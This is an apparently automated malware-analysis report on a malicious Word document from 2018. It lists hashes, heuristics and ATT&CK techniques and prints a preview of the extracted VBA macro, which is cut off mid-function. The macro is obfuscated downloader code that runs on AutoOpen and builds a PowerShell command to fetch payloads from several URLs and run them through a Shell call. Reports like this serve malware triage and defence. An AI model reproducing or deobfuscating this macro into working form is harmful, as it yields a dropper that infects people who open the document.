Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ab47a651a18c5efb…

MALICIOUS

Office (OLE)

102.0 KB Created: 2018-02-20 12:23:00 Authoring application: Microsoft Office Word First seen: 2018-03-04
MD5: 6c863be5bfa72d1c1d011899ffa0f55b SHA-1: 454aacb0db9fe31091eec4896e7bb97714aab83b SHA-256: ab47a651a18c5efbd1089fa843e88b539d15d5267bc9c16d99f1eb33e86a8bde
112 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OLE document containing a VBA macro with an AutoOpen function, indicating it's designed to execute automatically. The critical heuristic 'OLE_VBA_SHELL' strongly suggests the macro attempts to execute arbitrary code. While the script is heavily obfuscated, its presence and the heuristic firings point to a downloader or dropper functionality.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    wLqQvKQPH = (8046936 - CDbl(8093809 + umOUZ / wmGrlq * Hex(1764455)) - 9352821 + CByte(PiVcu))
    Shell OBfSM + WkGLVrjP + dlwMoCYkSfHKv + VBGaAHwFB, 0
    lmNvwfkiC = (2367351 - CDbl(2688299 + AKfwnlLl / WKjYhNvFRFv * Hex(4604961)) - 6955005 + CByte(aaGZFiw))
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "lSljAadzhFN"
    Sub AutoOpen()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 28896 bytes
SHA-256: 478440ee426ace45204b7bfa00836eabc17f445ee9806777f36caaad22237411
Detection
ClamAV: No threats found
Obfuscation or payload: likely
693 of 1010 identifiers look randomly generated (e.g. 'LdVPTWjcpJMjjqn89r2LA3j4itdphrq6zWjCFiaI'); 15 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "qtJwCLG"
Function jjMJpcjWTPVdL()
On Error Resume Next
whRBQA = (9506465 - CDbl(4183430 + oZjDRtiTPXtQ / ahidtHMv * Hex(3223285)) - 9981919 + CByte(jvwBzKf))
jwYUdzk = (5243965 - CDbl(5031098 + oQVuDqOBLVV / NFtNXwqJsX * Hex(4831430)) - 4738018 + CByte(VucVErSq))
fCzhUO = (7488811 - CDbl(7325632 + JipQztFi / IisIknikQoQr * Hex(9386761)) - 5169577 + CByte(vlfHdDjaTcE))
NMmsZUwnSCj = (UktUatPrhjasAp) + yHBjksbJKSUgsssd("osVjZQSvTAnhDbGkpbQ+gi'+'advNP+vN'+'PsadasnuNuNiXGdFkFmZMrv", 16, 25)
sArDLvMQIaG = (3916158 - CDbl(2203094 + zAlZIYf / zaKEpwwNQvt * Hex(3354928)) - 8988991 + CByte(UWKcwDsjBFAlU))
oJJcCGdHGGQ = (8984400 - CDbl(9548952 + idpFRiWVIWcw / KauTHfPPfabnS * Hex(4935951)) - 907752 + CByte(EdCPi))
jwVHpP = (3243781 - CDbl(3036255 + pYmzoTbbtp / iGRMPiWwDNRzI * Hex(3488573)) - 3241122 + CByte(sajMt))
iuJDmF = (JhZwVYMHG) + yHBjksbJKSUgsssd("BslzsJ4ft{)XCvNP+vNPgia+giaDAuhgia+giaK ni '+'cgia+giafsauhK(hcagia+giaeA4f+A4frofgivNP+vNPa+gia;)Igia+giaOueIOugia+gia+IOuxgia+giae.IgQPzdHhoT", 9, 129)
FiEtib = (4576500 - CDbl(4691274 + hYPjBKcwTo / dWRwmENWXZsT * Hex(3340635)) - 5317054 + CByte(BEbwCFLPjBzP))
iQiXHsNwv = (9574766 - CDbl(7016408 + mGIwn / PLfHAABE * Hex(7860364)) - 959567 + CByte(HOIXUVmiSGiupp))
YYNizT = (3113770 - CDbl(7403647 + mmKSoWltw / CFJKuwzHjbcSl * Hex(4380971)) - 3134820 + CByte(JjQqSkOiR))
zJBaR = (zucjZzmRmhIRMO) + yHBjksbJKSUgsssd("TPNWtrGDZ (&A4f+A4fh6W vNP+vNP)43]rAhc[,)86]rAhc[+66]rAhc[+7vNP+vNP11]rAhc[(  EA4f+'+'A4fCalA4f+A4fPEr-  29]rAvNP+vNPhcvNP+vNP[,)'+'65]rAhc['+'+121]rAA4fvNP+vNuZl", 4, 151)
sMBtonKuz = (2067575 - CDbl(8990798 + BnCSMEcF / RqfsrCUor * Hex(903863)) - 9554791 + CByte(HmnMNrTAkDDjz))
TaiPMo = (331670 - CDbl(1382319 + AiSCSFSmcD / vVupGzatAPFzNJ * Hex(883234)) - 7837858 + CByte(nvvpvrn))
XTlMZz = (2369482 - CDbl(7428900 + bBUAjKuXfqOzmW / GNvfEt * Hex(2734644)) - 3181643 + CByte(whHHA))
nzWjI = (YikdIwozpij) + yHBjksbJKSUgsssd("BUSBwhZPJngiaIOu(giaA4f+A4'+'f+giatilpSgia+gia.IOugia+gia/Fnsi6gA4fvNP+vNP+A4fia+gia0/grogia+gia.gia+giadnalgia+giamoogia+giaj.wwwgia+'+'gia//gia+gia:gia+giaptgia+giath?/H9vC/kpgSnqaWWtNHYUNaJUJZlRYcQSl", 25, 168)
ufppwrC = (5843537 - CDbl(8454811 + hCMlPCCCmXB / kikXPZwZqmH * Hex(7879810)) - 3421397 + CByte(JXiZLz))
SqdfVfJ = (2885766 - CDbl(9335761 + zmHRMTmjNXPP / YBSOfSq * Hex(9119763)) - 8920737 + CByte(TJsfTMLBU))
zWSprhlZ = (7717718 - CDbl(8527822 + kIImGDGuRCqz / hHwUwGqEOnHTnS * Hex(3709830)) - 372113 + CByte(vaTnQKGsM))
dEncH = (lZwzpJYho) + yHBjksbJKSUgsssd("VKXVu+vNP4f93vNP+vNP]rAhc['+',vNP+vNP)3'+'7]rAvNP+vNPhc[+97]rAhc[+711]rAhc[(ECalPEr-  vNP+vNP63]rAhc[,)711]rAhcA4vNP+vNPf+A4f[+401]'+'rA'+'A'+'4f+A4fhcA4f+A4fhtESDEtOajTjYUrMz", 18, 153)
zqdjRUz = (2960410 - CDbl(5813875 + QzpbjTB / IWoYH * Hex(6171923)) - 2674853 + CByte(oXsRGupGZuAC))
mwzXi = (1520869 - CDbl(2254518 + ERUVIZG / OAbNwLuLFYFG * Hex(6632073)) - 4325932 + CByte(FVHiBpS))
SSBfZJCSkB = (9754954 - CDbl(9386980 + LkHmKFNhjiQihr / ijvdCFchEPAAqE * Hex(9798797)) - 9135690 + CByte(fRmbn))
vqnpB = (CjVUATSlmsvG) + yHBjksbJKSUgsssd("MPaKoupvbia'+'+giaIOgia+giau+Igia+giaOcziSkiZtanaUaiqPm", 18, 29)
ZjuWwTziIk = (595609 - CDbl(4495164 + FXckjO / PETrKAKKjdpHoL * Hex(6745036)) - 452208 + CByte(sYjkaDYkBkN))
sawpn = (3933498 - CDbl(9189288 + IibYMUf / WLjKFMvjwWUurK * Hex(6399450)) - 2773448 + CByte(AuGJPwqkPhZM))
pipjYInIWn = (7444815 - CDbl(4280691 + CzBVBPwMpSm / zBWzBNjMaYmGO * Hex(8698695)) - 5056132 + CByte(fWWLAnruILNaB))
fGcWfqa = (nWGXVuriC) + yHBjksbJKSUgsssd("bLIcdwQhMTDhgia+'+'giaK = gia+giaBgivNP+vNPa+vN'+'P+vNPgU", 2, 45)
aAzjvBvzBc = (6236384 - CDbl(3564308 + aqMJbppAJKrHvd / CqwwwX * Hex(1633563)) - 8230288 + CByte(NkNDFltBwvD))
TtzPjWImhE = (3169722 - CDbl(5852719 + RtiwuwQWP / AFwLjTXR * Hex(9848196)) - 6360990 + CByte(qblvXRpIzZrXRi))
ZqvvuwzKKlI = (518630 - CDbl(3137103 + OrPrVvDzn / SfYlRzdbSwD * Hex(4361249)) - 6396607 + CByte(OQsJhjhhDw))
paVEdtpM = (HiKvHIpI) + yHBjksbJKSUgsssd("RNkqKdJNTVEYCiktDWTjsjqfIHPC'+'[,A4fqiZA4fecalPErc-  93]RAHC[,)301]RAHC[+vNP+vNP501]RAvNP+vNPHC[+79]RAHC[(  ecalvNP+vNPPErc-  )vNP+vNPA4f)giaXgia+]31[dILLvNP+vNPEHsqiZ+]1[DillEHS'+'qicnPWbvfHmr", 11, 157)
ATwcfKoM = (3832685 - CDbl(4075207 + KocFDuRGAkbZh / fYFmOH * Hex(7333983)) - 9408822 + CByte(kpDjH))
rEqoA = (8707722 - CDbl(5673609 + jdMwdcQcniikmC / GPvOw * Hex(9705409)) - 1105264 + CByte(FNmsPzL))
YBapSfVtBn = (2045552 - CDbl(2519986 + orwVNCwoJ / dHMPiozTLi * Hex(6007294)) - 9651271 + CByte(QHiqkAdcTR))
wUsYDZhdRi = (vkkXdaoZanDk) + yHBjksbJKSUgsssd("AuZYZqbiCILoZkNP+vNPgiaejbovNP+vNP-IOu+I'+'Ogia+giauwIOu+DLrIoJYqrUnPBQDH", 17, 43)
DWrrj = (502375 - CDbl(8500048 + irqNjOiLMofwKq / RYjLQTLVIwjJhU * Hex(5138416)) - 4799400 + CByte(jUiWIwYWYh))
lDuaTjwzWPH = (1162811 - CDbl(4137218 + jZGBFl / qbfWVhOzEwrlP * Hex(988221)) - 2843398 + CByte(IdIbKosmFAzS))
RpKwbrDAUW = (1251473 - CDbl(665285 + OpjjIpLAbhY / bpUGERkz * Hex(4732141)) - 9291663 + CByte(iCjtQV))
JcBHtwltGJ = (pfjzAWJb) + yHBjksbJKSUgsssd("cQmaFfhiDdpGql MajdqkTSUia+giaOu( + BSNvNP+vNPugia+giahgia+giaK G", 2, 40)
nVOmmTPMBK = (1093954 - CDbl(1471596 + jwhZvuit / fRLMYXjLkAvO * Hex(3067471)) - 9361064 + CByte(SwfbnvXvIJP))
MwNOczNiZjb = (6989895 - CDbl(7612671 + ECzoIFFEjNV / plELEQB * Hex(411096)) - 1322110 + CByte(PDFpIVDDInvifw))
zznhjTMqioj = (9623690 - CDbl(4957689 + qaNNSF / GlqwFzilaF * Hex(7396135)) - 8980502 + CByte(SzjBjEiQLFG))
IBuiCYT = (htlWQwltuAV) + yHBjksbJKSUgsssd("GuquvNP+vNPcegia+giajbgia+giao-wgia+giaIOugia'+'+gia+Igia+giaOgia+gvNP+vNPiA4f+A4fauA'+'4f+A4feg'+'ivNP+vNPa+giaIOu+IOunIgia+giaOu(gia+gia& = gia+giadsag'+'ia+giadasnuhKgia((A4f((vNP('((jJGTQhza", 9, 183)
tBiAouYhlX = (8017265 - CDbl(8767744 + MjNXLujkibrYJ / UozEiaDuiwd * Hex(1194201)) - 1419258 + CByte(tKnSRkjEkZT))
ilIpKIP = (7823497 - CDbl(8168851 + XWQjAWGXFmHSnR / RtEnAqYnZGZAPE * Hex(4518688)) - 7146317 + CByte(kIWMfzFkZWEAL))
zbjcjJjMFjB = (9654296 - CDbl(9421403 + GTjOBpE / irZaWqSiBNiivl * Hex(7280532)) - 9358050 + CByte(DbUUmNIclIlrWs))
cVPjX = (ijWfGzIEKDaMDq) + yHBjksbJKSUgsssd("tId[+57]vNP'+'+vNPrAhc[( ecAlPeRC-  )gia}}g'+'ia+gia{hcvNP+vNPt'+'gia+giaac};gia+giakgia+giaagia+giaerb;A4f+A4f'+')gia+giawzcFbhtJEwGscqtk", 17, 119)
DpLLwLH = (9130745 - CDbl(5795540 + wlhhriUo / XGwZTosQwn * Hex(2973585)) - 8695043 + CByte(RmEHHu))
uSpAUAnbSF = (6269922 - CDbl(3884071 + iJGjcAWiVdbsw / iKvJVTh * Hex(1581303)) - 2821962 + CByte(oTvcjWZHF))
WubnkuZq = (6037018 - CDbl(4548519 + TnMstTSlRRVX / zMlLALaui * Hex(8470611)) - 1821870 + CByte(tvwEUm))
WIHnSwDok = (TVhjPwOkf) + yHBjksbJKSUgsssd("aAMZkRSOUIgiaA4f+A4f+gi'+'aOugia+giakgia+giaIOu+IOuvNP+vNPovnIIOgia+giavNP+vNPugia+gia(&;gia+gia)CDSuhK ,)gia+gA4f'+'+A4vNP+vNPfia(DBug'+'NvNP+vNPQHYigpJXQZ", 6, 142)
VzCIqZljlQi = (8934020 - CDbl(7001330 + CmzXThzfEjbGEo / azkRcVLimJn * Hex(3035575)) - 4654025 + CByte(wuzGMuqapWv))
LAuuUaw = (1613204 - CDbl(8444771 + rffGzNfXMcHar / NOjRZ * Hex(9643427)) - 1543525 + CByte(czrtszHOWUdR))
KiQscdkl = (8234448 - CDbl(1322703 + hPLBZiWwmD / MbqditlFDjOG * Hex(3933410)) - 6080105 + CByte(zGnzZNGk))
DQlCiRaFC = (dGWwXHlKovFUw) + yHBjksbJKSUgsssd("DXBrwCDSugia+giahK()IOumetI-egia+g'+'i'+'aIgia+giaOgia+giau+gia+giaCwcqGc", 7, 62)
ijPqQJdkPW = (2174143 - CDbl(7948943 + YGqrbUzDCz / JPNskZNCNtc * Hex(547788)) - 7492487 + CByte(sXaYSqpPMij))
EkMvhQ = (7865500 - CDbl(6309518 + QmdiGSJu / dZKCIbkvDD * Hex(2197500)) - 6823677 + CByte(WikHqtDfLvswlb))
npUOSiqBRD = (3043235 - CDbl(8973775 + UWzuzzInjobndl / hTQzzzcPq * Hex(9622819)) - 3400341 + CByte(RFXAVAHjol))
QRUiDpQNYC = (jjkDzSJqVJkP) + yHBjksbJKSUgsssd("JbQEtALqCWm'+'gAvNP+vNP4f+A4fiacngia+giaavregia+gianivNP+vNPgia+giaagia+g'+'vNP+vNPiartlagivNP+vNPa+giangia+giaosrep/gia+A4f+A4fgia/gia+gia:pgia+giPjNJMlKQWHWo kUjXYcdwZljj", 26, 136)
cRwvYEpf = (2143857 - CDbl(3221758 + wsGHwfUqiJnGmW / jwRrT * Hex(4226916)) - 6217513 + CByte(KOGjUuqE))
jfwECJWvpS = (7915514 - CDbl(844150 + KqiiF / KlkARVFLIrSBT * Hex(9379255)) - 5143422 + CByte(avsqwAwr))
LLwBZ = (844772 - CDbl(9768110 + iMLwS / zJkvRts * Hex(94279)) - 4634977 + CByte(CYDVHdt))
RYTbkD = (criKXOS) + yHBjksbJKSUgsssd("opwcTDOSjBiTJqshkC[,'19Z'  eCAlPEr- 63]RAhC[,)35]RAhC[+68]RAhC[+09]RAhC[(eCAlPEr-  )')vNPvNPNiOJ-vNPXvNYkPiuav", 8, 86)
BiLcRILkwz = (8119191 - CDbl(4032475 + CApYnt / AduESvLj * Hex(9181861)) - 522091 + CByte(vCVbYcYPKXOBUn))
QpUcwLWFNMm = (4794791 - CDbl(1394491 + lZYWvavpaSh / hTuRo * Hex(8981852)) - 3631941 + CByte(bbMzYjvmbZRt))
fzHTq = (7723707 - CDbl(5333245 + WiczcalwKrNdDT / fsGUIJMYwMi * Hex(1733385)) - 2578217 + CByte(BnNFY))
QkStnA = (UXzwsApUn) + yHBjksbJKSUgsssd("YQdlUwQLOTYjZX+giait/ln.nesgvNP+vNPia+gianaj-naitsiA4fv'+'NP+vNP+A4frgia+giahcgia+gia.gia+giawwgiavNP+vNP+giaw/gia+'+'gia/:p'+'tgia+giathgia+gvNP+vNPia?gia+gia/F5gia+giawqjgia+giaqT", 3, 165)
HwRmHQab = (3636387 - CDbl(7393398 + FinzRY / JDAXfwwUzPGTfK * Hex(3245164)) - 7585729 + CByte(mqUGbA))
wqziw = (8689568 - CDbl(7377496 + OhhHtwRftDJi / WwZbYNz * Hex(1346672)) - 9899085 + CByte(qhLaDrhDHlth))
bIQsznk = (2888152 - CDbl(7424100 + WKCzQMdXZTYjA / jmiOsqZhVN * Hex(7627163)) - 2359240 + CByte(CwToh))
ditiwAnQ = (GrSstZnU) + yHBjksbJKSUgsssd("OwCCBPorA4f+A4fpgia+vNP+vNPgia.golbvNP+vNP/gia+g'+'ia/:gia+giapA4f+A4fttgia+giah?/gia+giaPC3gia+giaaggiazSuhFjP", 8, 98)
KCDXnR = (3265390 - CDbl(7716245 + oMEMbbGirtPa / pXfQdQwOjc * Hex(6057015)) - 4911623 + CByte(zEWKrTNMJu))
rApMAv = (5903997 - CDbl(3022541 + ifbmSRAzJqmG / AraFkYmA * Hex(5643896)) - 356888 + CByte(hBvMQj))
IvlpS = (5558206 - CDbl(248627 + qhRmw / OYdoNj * Hex(744278)) - 4624649 + CByte(WmEKFclE))
ZQHMKzW = (jbbwOSWw) + yHBjksbJKSUgsssd("jPWqUAcnF+vNP+vNPA4ftneigia+vNP+vNPgialCbeWgiavNP+vNP+gia.gia+giXCkRUqtTdLfzJIDXGukHuIVbz", 26, 55)
wHWzA = (5673201 - CDbl(5753875 + qicSvXEcnT / tskwLAwzvzvwv * Hex(6997738)) - 9130521 + CByte(OQpubms))
lmGzfukNok = (9669456 - CDbl(441268 + vqiXq / URhRdadnafic * Hex(8973908)) - 6122868 + CByte(hzIpMwZPGzm))
zSJRjhqRXv = (8891763 - CDbl(1934733 + IPYJI / iDdlomBTwE * Hex(3120842)) - 695554 + CByte(UOqZhdnvC))
lkKGjCANP = (TanIaKOWonY) + yHBjksbJKSUgsssd("DFTmhYbGcNCltchAhc[+98]rAhc[(ECalPEr- A4f+AvNPwuq", 4, 31)
tJqNuQ = (1010369 - CDbl(3646546 + jiXpq / prjUjbcL * Hex(8765579)) - 1606973 + CByte(RBjuzRVR))
dbzQdWKMtPz = (6827825 - CDbl(3854629 + jCqpj / iJIitAaSm * Hex(3249997)) - 3514688 + CByte(BKdtHfDmHm))
zJwlEN = (3201140 - CDbl(534434 + GwnKiitsE / kzoYBFcLAC * Hex(8321866)) - 6487598 + CByte(YnuLmw))
FWnZWwbVv = (CiWXBaz) + yHBjksbJKSUgsssd("bkQmNIiaSvNP'+'+vNPgia+giaNuhK;vNP+vNPgia+giaA4fvNP+vNPYfMiGHXsHjpVjhav", 17, 49)
jzcsqqw = (1344400 - CDbl(538684 + faPAjZoPXjT / wnhrui * Hex(7322005)) - 9767712 + CByte(UDOdJkdi))
HRXzm = (8851747 - CDbl(5282244 + jPlVc / aNOXjY * Hex(3723821)) - 3446036 + CByte(JzBwlUEOKXBW))
VOFSK = (4445729 - CDbl(7805769 + kdHPXhC / PoHYkvk * Hex(5806896)) - 9028281 + CByte(Xaidvqj))
NpnFiDzd = (mZizjttT) + yHBjksbJKSUgsssd("nsAPCkOIXchiDEVdjfofCDli XfmYZfttRDi)''NiOj-'x'+]3,1[)(GniRtsot.ECnEReferpesoBrEV$ ( & |)93]RAhC[,)811]RAhC[+87]RAhC[+08]RAhC[( eCAlPEr-421]RAhjH", 3, 107)
EjmMfs = (9276353 - CDbl(3704569 + atGKzNjH / RfsjcPnFEzh * Hex(1746616)) - 5845641 + CByte(qRSTrql))
bPqDOf = (2538032 - CDbl(7487198 + izDUYDL / iXzYBYfXw * Hex(864506)) - 4655645 + CByte(lJwjPshtpRzEtj))
XGVaBwZCNZ = (9678229 - CDbl(5417138 + SjBoLiG / SQuoUrj * Hex(7882387)) - 8186685 + CByte(YDWFfWRjNa))
YwSiuJdAIGj = (uEHmmKd) + yHBjksbJKSUgsssd("YuWjia+gia.gia+giamoc.gia+giastnevegia+giacgia+givNP+vNPaitoxe.www//:gia+'+'giap'+'tth?/gia+giatkvNP+vNPsgiA4f+A4fa+giawgia+giaPgia+giaX/lpgia+gia.lasefGZOOifbbluHVSjwY", 17, 148)
GwBUzkd = (2659144 - CDbl(256029 + XiRjSnvUmJL / SiAtOD * Hex(1503399)) - 550742 + CByte(MMnJfcOAiVR))
vSkoa = (4270829 - CDbl(8318072 + vOIAKhSSLNHw / FjJlGwvK * Hex(3561251)) - 5610243 + CByte(mKjUHnunb))
IJTwJabAjSQ = (9671839 - CDbl(997867 + FDzVRuAaCj / JTUkLX * Hex(9143545)) - 5043703 + CByte(llOzBzLYTU))
QVRfi = (mEUZQPCGZYp) + yHBjksbJKSUgsssd("siAXwGjMJwrogiaUYYuhK{ygia+gVqUkhDAlbWjSvMniDJB", 20, 16)
jAwhkzzY = (2937215 - CDbl(6077041 + ctTowUTic / iNnIQQ * Hex(449727)) - 719799 + CByte(RJKiRLwdwYVlE))
MOQTik = (8105363 - CDbl(9468484 + IktJILhpw / pNOkWAiUOORL * Hex(389472)) - 5743456 + CByte(qWKHV))
hnLRhP = (5623257 - CDbl(4458148 + kIjJtlGcVmfVk / MBUHkbjG * Hex(9421174)) - 6606591 + CByte(JSoWhaI))
iOnEK = (CUDBXBnCi) + yHBjksbJKSUgsssd("ATcYP+A4fhA4f+A4fc'+'[+411]rAhc[(ecAlPeRA4f+A4fC- 69]rAhc'+'[,)18]rAhc[+27]rdptCQMjrVrHWXTDkj", 18, 72)
HrAzXGBIjO = (1448142 - CDbl(5821661 + ztkTRFo / WCNmkKd * Hex(4346146)) - 280138 + CByte(zLXMGusi))
zTEQJz = (2588667 - CDbl(9011886 + PXPzQsz / PqfHN * Hex(9866463)) - 1249839 + CByte(oZwJr))
lSAQGjncz = (8353006 - CDbl(5413444 + Tnlmpb / stzHfwnURfWl * Hex(5494779)) - 3355616 + CByte(JMAsD))
UKwCB = (vZWIPaKJmOsv) + yHBjksbJKSUgsssd("sHrEniIgia+giaOuegia+givNP+vNPanIgia+giA4f'+'+A4faOgivNP+vNPA4f+A4fa+giau(. gia+gia=A4f+A4f A4f+A4fUYA4f+A4fYuhgia+giaK;mogiA4f+A4fa+giA4f+A4fadnagia+giar )IvNP+vNPOgia+gvNP+vNPiautgCOVwiVUHoTSrjZu", 16, 176)
mVwHD = (7622628 - CDbl(2709714 + sbDBFji / FzsPdYmzX * Hex(6653170)) - 5614769 + CByte(iijtHr))
vXuPYNpKVqn = (2033076 - CDbl(3869467 + zZdpvUY / CziGzSvMQwiY * Hex(2448383)) - 3301457 + CByte(KGkJrKtNV))
vPStaq = (1979085 - CDbl(1867374 + aOaiEO / UjuBfP * Hex(7756066)) - 6249990 + CByte(scvzfETjLLhiI))
KLBuF = (fcHLKoD) + yHBjksbJKSUgsssd("sUvUArCoCqkXjGtjkGrzwfAWhQptYfc/mog'+'vNP+vNPia+giac.gia+gian'+'otgnihsgia+giaaw'+'gia+giarevgiavNP+vNP+gvNP+vNP'+'iauogia+r", 2, 93)
hVauSOmsJH = (4274299 - CDbl(9137377 + XtjfMzhEpFTiA / zlvjSDiGRd * Hex(9998747)) - 1108536 + CByte(ShihwCzs))
XOHbaskJrE = (7124492 - CDbl(5662415 + kniAPnkvB / wdPsDsLRbDfGh * Hex(2828945)) - 4373261 + CByte(YUjBjMH))
JUuHHTkitb = (4373449 - CDbl(9923328 + ViqdtEDYWE / ovKnbJa * Hex(8772332)) - 5692866 + CByte(TdEPPO))
BIwqApdQA = (PEFtDiCUtOKc) + yHBjksbJKSUgsssd("IIYwuYjTructwa+gialA4f+AvNP+vNP4fnWQHYoDDBu.gia+aRnfwcDb", 9, 35)
YDdmLTTRShI = (9091538 - CDbl(6868625 + WNIDhdVYB / mOiqD * Hex(2995270)) - 7620522 + CByte(WvWnGALRTaz))
JZkzpNwzO = (5334174 - CDbl(2182840 + fqrmzf / PXzVfojfkztE * Hex(6622567)) - 4669726 + CByte(CjHIsQJvbaqc))
lFsrrRfacMC = (6621168 - CDbl(7617051 + QPHvHXWSaLbljb / Xckro * Hex(1654355)) - 5972741 + CByte(nXFcYvpLBrlii))
KLLONwNwSE = (WhawJaCJrR) + yHBjksbJKSUgsssd("lhTpvzbZphFbUkj+ IOu8ygia+giarIgia+giaOgia+giau + cilbup:vgivNP+vNPa+gianeuhK gia+gia= CDSgia+gA4f+A4fiaugia+giahK;)giaA4f'+'+A4f+gvNP+v'+'NPiaIOu?gia+DNMVGjBpaAzbYWWTht", 19, 136)
pDnfCsq = (4975761 - CDbl(8938130 + tZbqUaIrwvWsfI / scUKswwGcOOVjt * Hex(9264158)) - 9322649 + CByte(kcazbWXQqwncz))
fduKkYPLwJC = (6143611 - CDbl(4363175 + wiIfPCBwTwcF / czBwfI * Hex(452874)) - 6656846 + CByte(RFwtB))
sDVFl = (9585915 - CDbl(1779167 + iisihPoQbh / ijcuSKOAld * Hex(3396264)) - 4485658 + CByte(EwNCjVAD))
SXOLUFljtiC = (rzplXUYBvwXkz) + yHBjksbJKSUgsssd("ZTdmCYwiarA4f'+'+AOADmjKNhtH", 11, 11)
chlTasOAK = (4533352 - CDbl(9977149 + KXijClh / hXrqIA * Hex(920053)) - 7655485 + CByte(SXvNwtzd))
BtqjLwkj = (4595974 - CDbl(8274513 + mNGPp / jpsKfc * Hex(220147)) - 9729294 + CByte(DNijKZvSizEzO))
nvVPRC = (5861891 - CDbl(5948696 + iucSTR / ABQPvKmvuO * Hex(498579)) - 8063657 + CByte(zrjfrubPlGVL))
ItqzqVpAGj = (UpLiinz) + yHBjksbJKSUgsssd("OripOYwAfwHateg'+'ia+giaNgia+gia.metsyS )gia+vNP+vNPgiavNP+vNPIOutcgia+vEcHKrGolzwF", 12, 61)
CYBKCwM = (8645881 - CDbl(1269299 + OwaZpMPuvEhF / OVicDAWLlVsl * Hex(6958454)) - 2208260 + CByte(VJWUzNScFB))
rhbUGQw = (9430397 - CDbl(4968137 + kwGSDGp / CjkskbcbinFA * Hex(7854644)) - 4799520 + CByte(hMIXvsdbGaJb))
lsWVzIZjYJK = (7536926 - CDbl(2915688 + iiVlTalcN / pBWNsZYLMYGu * Hex(6619921)) - 8969759 + CByte(YIiSbApMJEbfDF))
iqpawtbiW = (dfuKzIrEKlLo) + yHBjksbJKSUgsssd("Dsattgia+giah IOu A4f+A4f= XgivNP+vNPa+giaCDgia+giaAuhgia+giaK;)3312gia+gia'+'82gia+gia ,'+'000gia+gia01(txegia+gian.giaHZbkvjaozjaMz", 14, 118)
hKYkOdVvZ = (5162848 - CDbl(7893542 + SHJmlApNIRuVGA / VzwpFRuPRq * Hex(7070412)) - 2888054 + CByte(qQfEOKtoa))
EokzXVoh = (1679981 - CDbl(9981466 + BtEzG / JZOzowl * Hex(6800396)) - 5751436 + CByte(rrvAlUWsl))
fnMWFrMY = (8091128 - CDbl(1420711 + GnuqwkEXpRKbbp / tcjSij * Hex(4289806)) - 9376547 + CByte(NwThXMMQHNT))
icisSsO = (OAkPaqTnv) + yHBjksbJKSUgsssd("SPDwtHUvvNP+vNPA4f+A4fia+giavNP+vNPQvNP+vNPHgia'+'+giaYrtSoTDBu.cgiaA4f+A4fvNP+vNP+giafgia+giasauhK(DBgia+giauegia+vNP+v'+'NPgia'+'lgia+giaQHYIFdaOQHgia+giaYgiUXzNTThzcl", 11, 151)
mjvGfzh = (2297273 - CDbl(5725675 + QWAdFuUOWjqfiR / ZoWBtZXUtwHtiz * Hex(6637689)) - 6810223 + CByte(TDkIGETmzLajn))
bvOwKzROmAL = (7007164 - CDbl(5031150 + dqvUKk / tCHjwApRn * Hex(9445875)) - 85025 + CByte(ajrTkCO))
zEPJW = (8750742 - CDbl(2688434 + nGMjnBGmPjjfrF / XVlKumjmYzZmXL * Hex(3317106)) - 9061592 + CByte(KvOBURNnKAhUc))
GtZIWQwBkZ = (wNdPEXcQkr) + yHBjksbJKSUgsssd("tFqqIIXFpJP+]3,1[)ECNereFErPesoBRev5VZ]gniRts'+'[( (. 19Z)93]rahc[]gNIrTs[,v'+'NPA4fvNP(ecalPer.)vNP19ZvNP,)'+'79]rahc[+55]rahc[+38]rahc[((ecalPer.)vNPxEI a7S )421]RAHC[,A4fh6WA4fecaLPEr- 63]RAHvNP+vNfI", 3, 190)
jjMJpcjWTPVdL = lRGzVUVcpYzdHW + olUNhciTKETnhN + kNFZHJDY + ChrW(34) + jbzlsUvrz + IBuiCYT + vqnpB + UKwCB + wUsYDZhdRi + ItqzqVpAGj + ZQHMKzW + FWnZWwbVv + fGcWfqa + NMmsZUwnSCj + iqpawtbiW + QRUiDpQNYC + KLBuF + QkStnA + ditiwAnQ + YwSiuJdAIGj + nzWjI + KLLONwNwSE + JcBHtwltGJ + iuJDmF + SXOLUFljtiC + QVRfi + BIwqApdQA + icisSsO + WIHnSwDok + DQlCiRaFC + cVPjX + dEncH + lkKGjCANP + iOnEK + zJBaR + paVEdtpM + GtZIWQwBkZ + RYTbkD + NpnFiDzd
DDXXkmBSw = (716215 - CDbl(7120570 + CzjSI / lKhjkAXaZjjka * Hex(8609202)) - 8838011 + CByte(KiFLjYCAr))
dcOjdOTkd = (2031131 - CDbl(6222123 + WSXzJMRj / csHjnEN * Hex(9327123)) - 1444013 + CByte(IjpGYJt))
vVPAwiNGn = (2303396 - CDbl(6489911 + aLkRfAj / AqJFnW * Hex(9548828)) - 4643951 + CByte(hMwpPRwTLjK))
End Function
Sub wzAEzzXAj(WkGLVrjP As String)
On Error Resume Next
GiCwkoSMP = (6692385 - CDbl(6746552 + JKHEfMKWzr / dooCLU * Hex(5830537)) - 8567390 + CByte(iFucjDRHH))
